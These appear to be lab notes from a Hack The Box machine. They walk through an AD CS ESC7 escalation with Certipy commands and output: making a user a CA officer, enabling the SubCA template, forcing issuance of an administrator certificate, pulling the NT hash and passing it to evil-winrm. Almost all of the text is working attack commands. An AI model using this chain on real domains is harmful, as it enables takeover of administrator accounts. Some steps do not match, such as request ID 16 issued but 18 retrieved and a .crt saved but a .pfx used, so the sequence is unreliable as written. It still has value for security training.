Certipy

//find vulnerable certificates
certipy find -u [e-mail] -p "<password>" -vulnerable -stdout         
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

When user can enroll

 Enroll: MANAGER.HTB\Raven

// Some code
certipy ca -u [e-mail] -p '<password>' -ca 'manager-DC01-CA' -add-officer raven            
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

certipy ca -u [e-mail] -p '<password>' -ca 'manager-DC01-CA' -enable-template 'SubCA'                         
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

certipy req -u [e-mail] -p '<password>' -ca 'manager-DC01-CA' -template 'SubCA' -upn [e-mail]
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 16
Would you like to save the private key? (y/N) y
[*] Saved private key to 16.key
[-] Failed to request certificate

certipy ca -u [e-mail] -p '<password>' -ca 'manager-DC01-CA' -issue-request 16                                
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

certipy req -u [e-mail] -p '<password>' -ca 'manager-DC01-CA' -retrieve 18                                   
Certipy v4.7.0 - by Oliver Lyak (ly4k)

/usr/local/lib/python3.11/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
[*] Rerieving certificate with ID 18
[*] Successfully retrieved certificate
[*] Got certificate with UPN '[e-mail]'
[*] Certificate has no object SID
[!] Could not find matching private key. Saving certificate as PEM
[*] Saved certificate to 'administrator.crt'

certipy auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: [e-mail]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[e-mail]': aad3b435b51404eeaad3b435b51404ee:<hash>

evil-winrm -i 10.10.11.236  -u [e-mail] -H <hash>